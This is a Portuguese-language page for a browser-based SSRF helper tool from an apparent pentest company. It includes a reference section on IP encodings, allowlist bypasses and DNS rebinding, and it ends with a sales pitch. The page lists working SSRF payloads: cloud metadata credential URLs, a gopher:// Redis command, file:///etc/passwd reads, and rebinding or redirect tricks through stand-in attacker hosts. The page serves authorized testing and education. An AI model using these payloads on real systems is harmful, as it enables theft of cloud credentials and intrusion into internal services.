// ferramenta · server-side

Helper SSRF: representações de IP e bypass de allowlist

SSRF acontece quando o servidor pode ser induzido a fazer requisições para onde não devia — metadados de cloud, serviços internos, loopback. Gere todas as representações de um IP, monte payloads gopher:// e consulte as técnicas de bypass.

Roda 100% no seu navegador · nada é enviado ao alvo

Gerador de representações de IP

Atalhos:

Builder de payload gopher://

O esquema gopher:// envia bytes crus para uma porta TCP — incluindo CRLF — o que permite "falar" protocolos como Redis ou HTTP por dentro de uma SSRF. Monte o payload abaixo.

Por que funciona: O gopher:// não tem cabeçalhos: cada byte que você digita vai cru para o socket. Os %0d%0a (CRLF) separam comandos, deixando você injetar protocolos de texto em serviços internos.

Técnicas de bypass

19 técnicas

  • Credenciais embutidas (userinfo) Bypass de allowlist
    http://allowed.com@169.254.169.254/

    Por que funciona: Tudo antes do @ é userinfo, não host. O navegador/cliente conecta em 169.254.169.254, mas um filtro ingênuo "vê" allowed.com.

  • Confusão com fragmento (#) Bypass de allowlist
    http://169.254.169.254#@allowed.com/

    Por que funciona: Parsers divergem sobre onde o # (fragmento) começa. Alguns tratam allowed.com como host; o cliente real usa 169.254.169.254.

  • Ponto final no host (FQDN) Bypass de allowlist
    http://allowed.com.evil.com/

    Por que funciona: Allowlists por sufixo (endsWith("allowed.com")) caem com subdomínios maliciosos. Também vale http://169.254.169.254./ em alguns resolvers.

  • Variação de caixa / encoding Bypass de allowlist
    http://ALLOWED.com%2f@169.254.169.254/

    Por que funciona: Comparações sensíveis a caixa ou que não normalizam %2f/%2e deixam passar a URL. Sempre normalize antes de comparar.

  • AWS IMDSv1 — credenciais
    http://169.254.169.254/latest/meta-data/iam/security-credentials/

    Por que funciona: IMDSv1 não exige token: uma SSRF simples lê o nome da role e depois as chaves temporárias (AccessKey/SecretKey/Token).

  • AWS IMDSv2 — token PUT
    http://169.254.169.254/latest/api/token

    Por que funciona: IMDSv2 exige obter um token via PUT neste endpoint, com o header X-aws-ec2-metadata-token-ttl-seconds: 21600, e depois enviá-lo em X-aws-ec2-metadata-token. Só explorável se a SSRF permitir método/headers arbitrários.

  • GCP — Metadata-Flavor
    http://169.254.169.254/computeMetadata/v1/?recursive=true

    Por que funciona: O GCP exige o header Metadata-Flavor: Google. O caminho ?recursive=true despeja tudo, incluindo tokens de service account.

  • Azure — header Metadata:true
    http://169.254.169.254/metadata/instance?api-version=2021-02-01

    Por que funciona: O Azure exige o header Metadata: true e o parâmetro api-version. Use /identity/oauth2/token para pegar tokens gerenciados.

  • Alibaba Cloud
    http://100.100.100.200/latest/meta-data/ram/security-credentials/

    Por que funciona: A Alibaba usa o IP 100.100.100.200 e estrutura parecida com a da AWS, sem token por padrão.

  • Kubernetes / kubelet
    http://127.0.0.1:10255/pods

    Por que funciona: Em clusters, a porta read-only do kubelet (10255) lista pods e segredos. A API de metadados do nó (https://169.254.169.254/) também expõe credenciais quando alcançada por SSRF.

  • gopher:// → Redis Protocolos
    gopher://127.0.0.1:6379/_%2A1%0d%0a%244%0d%0aPING%0d%0a

    Por que funciona: gopher:// envia bytes crus, incluindo CRLF (%0d%0a), permitindo falar o protocolo do Redis/SMTP/FastCGI por dentro da SSRF. Use o builder acima.

  • dict:// — sondar/extrair Protocolos
    dict://127.0.0.1:6379/info

    Por que funciona: dict:// manda uma linha simples para a porta — ótimo para fingerprint de serviços internos (Redis, memcached) e leitura de banners.

  • file:// — leitura local Protocolos
    file:///etc/passwd

    Por que funciona: Se o fetcher aceita o esquema file://, a SSRF vira leitura arbitrária de arquivos do servidor.

  • ftp:// / ldap:// Protocolos
    ftp://127.0.0.1:11211/

    Por que funciona: Esquemas alternativos alcançam serviços que falam protocolos texto. Troque o esquema/porta para tocar memcached, LDAP (ldap://127.0.0.1:389/) etc.

  • DNS rebinding (TOCTOU) DNS rebinding
    http://rebind.attacker.com/

    Por que funciona: O host resolve para um IP público na validação e para 127.0.0.1/link-local na requisição real. Explora a janela entre checar e usar (TOCTOU).

  • Serviços de rebind prontos DNS rebinding
    1u.ms

    Por que funciona: 1u.ms/rbndr.us alternam entre dois IPs a cada resolução; nip.io/sslip.io resolvem direto para o IP embutido. Gere os nomes no painel acima.

  • Divergência de parser de URL Parser confusion
    http://127.0.0.1\@allowed.com/

    Por que funciona: Validador e cliente HTTP usam parsers diferentes (RFC 3986 vs WHATWG). Backslash, espaço e unicode "/" fazem cada um enxergar um host distinto. Variante com "/" unicode: http://allowed.com\u2044@127.0.0.1/.

  • IDNA / homoglyph Parser confusion
    http://①②⑦.⓪.⓪.①/

    Por que funciona: Caracteres unicode normalizam para ASCII na resolução (IDNA/NFKC). O filtro compara a forma unicode; o cliente resolve o IP real.

  • Redirect 30x para interno Parser confusion
    https://attacker.com/r

    Por que funciona: A primeira URL é pública e passa na allowlist; o servidor responde 30x apontando para o alvo interno, e o cliente segue o redirect.

Para uso em testes autorizados, pesquisa e educação. A ferramenta apenas transforma texto no seu navegador — não faz nenhuma requisição. Não teste alvos sem permissão explícita.

// referência

O que é SSRF

SSRF (Server-Side Request Forgery) acontece quando o servidor pode ser induzido a fazer requisições para um destino escolhido pelo atacante. Como a requisição parte de dentro da infraestrutura, ela frequentemente atravessa o firewall e alcança serviços internos, loopback e o endpoint de metadados da cloud.

O alvo mais valioso costuma ser o endpoint de metadados (169.254.169.254), que pode entregar credenciais temporárias da role da máquina. A defesa que só bloqueia strings falha porque há muitas formas de escrever o mesmo IP e muitas maneiras de confundir o parser de URL.

Representações alternativas de IP

Um IP é um inteiro de 32 bits, e muitos clientes HTTP aceitam suas formas decimal, octal, hexadecimal e IPv6. O gerador acima produz todas elas; abaixo, por que cada uma engana filtros textuais:

  • Decimal (inteiro 32 bits) — O IP é um inteiro de 32 bits. inet_aton() e muitos clientes HTTP aceitam o valor decimal puro, driblando filtros que só comparam a forma 1.2.3.4.
  • Hexadecimal (0x, sem pontos) — O mesmo inteiro em hexadecimal com prefixo 0x. Parsers no estilo inet_aton convertem 0x… no IP original; allowlists textuais não.
  • Hexadecimal por octeto — Cada octeto em 0x.., separado por pontos. Útil quando o parser exige 4 partes mas aceita cada parte em hexa.
  • Octal por octeto (zero à esquerda) — Octetos prefixados com 0 são lidos como octal por inet_aton. 0177.0.0.1 = 127.0.0.1; o filtro vê outra string.
  • Octal (sem pontos) — O inteiro inteiro em octal, com 0 na frente. Forma rara que vários parsers ainda normalizam para o IP de destino.
  • Forma curta (3 partes)inet_aton aceita a.b.c onde a última parte é de 16 bits. 127.0.1 vira 127.0.0.1 — escapa de validações que esperam 4 octetos.
  • Forma curta (2 partes)a.b, com a última parte de 24 bits. 127.1 = 127.0.0.1. Clássico para encurtar loopback e fugir de regex ingênuas.
  • Overflow de octeto (mod 256) — Alguns parsers aplicam % 256 ao octeto. …+256 resolve ao mesmo IP, mas passa por checagens que só barram o valor canônico.
  • IPv4-mapeado em IPv6[::ffff:1.2.3.4] é o IPv4 embutido em IPv6. Stacks dual-stack conectam no IPv4 real, mas o filtro IPv4 nem olha para colchetes.
  • IPv6-mapeado (grupos hexa) — A mesma ideia, com os dois últimos grupos em hexadecimal. Mais uma forma textual que resolve ao IPv4 de destino.
  • IPv6-mapeado (expandido) — Forma não-comprimida [0:0:0:0:0:ffff:..:..]. Útil contra filtros que reconhecem ::ffff: comprimido mas não a versão expandida.
  • DNS wildcard — nip.io<ip>.nip.io resolve para o próprio IP via DNS. Vence allowlists baseadas em domínio (o host é um nome "externo" que aponta para dentro).
  • DNS wildcard — sslip.io — Mesmo conceito do nip.io, com sintaxe por hífen (a-b-c-d.sslip.io). Alternativa quando um dos serviços está filtrado/indisponível.

Técnicas de bypass por categoria

Bypass de allowlist

Userinfo (@), fragmento (#), ponto final, diferença de caixa e encoding fazem o validador ver um host permitido enquanto o cliente HTTP conecta em outro.

Metadados de cloud

AWS (IMDSv1/v2), GCP, Azure, Alibaba e Kubernetes expõem endpoints internos que devolvem credenciais e configuração — o prêmio clássico de uma SSRF.

Protocolos

Além de http://, esquemas como gopher://, dict://, file:// e ftp:// permitem ler arquivos e falar com serviços de texto (Redis, SMTP) por dentro da SSRF.

DNS rebinding

Serviços como nip.io resolvem para um IP arbitrário; o rebinding troca o IP entre a validação e o fetch, derrotando checagens que só olham a string da URL.

Parser confusion

Divergências entre o validador e o cliente HTTP (IDNA, normalização, redirects) fazem os dois interpretarem a mesma URL de formas diferentes.

Perguntas frequentes

O que é SSRF (Server-Side Request Forgery)?

É quando o servidor pode ser induzido a fazer requisições para destinos que o atacante escolhe — metadados de cloud, serviços internos ou loopback — driblando o firewall de rede ao usar o próprio servidor como proxy.

Por que representações alternativas de IP burlam filtros?

Um IP é um inteiro de 32 bits, e muitos clientes HTTP aceitam suas formas decimal, octal ou hexadecimal. Filtros que só comparam a forma 127.0.0.1 deixam passar 2130706433, 0177.0.0.1 ou 0x7f.0.0.1.

O que é DNS rebinding?

É uma técnica em que um domínio que você controla resolve primeiro para um IP permitido (passando na validação) e, na requisição seguinte, para um IP interno — explorando a janela entre a checagem e o uso (TOCTOU).

Para que serve o payload gopher://?

O esquema gopher:// envia bytes crus para uma porta TCP, incluindo CRLF. Isso permite "falar" protocolos de texto como Redis ou HTTP por dentro de uma SSRF e transformar uma leitura cega em ação.

Desconfia de SSRF numa aplicação sua?

A IntruderLabs executa o pentest que encontra e prova essas falhas antes de um atacante — sob a sua marca, com relatório white-label.

Fale com a gente →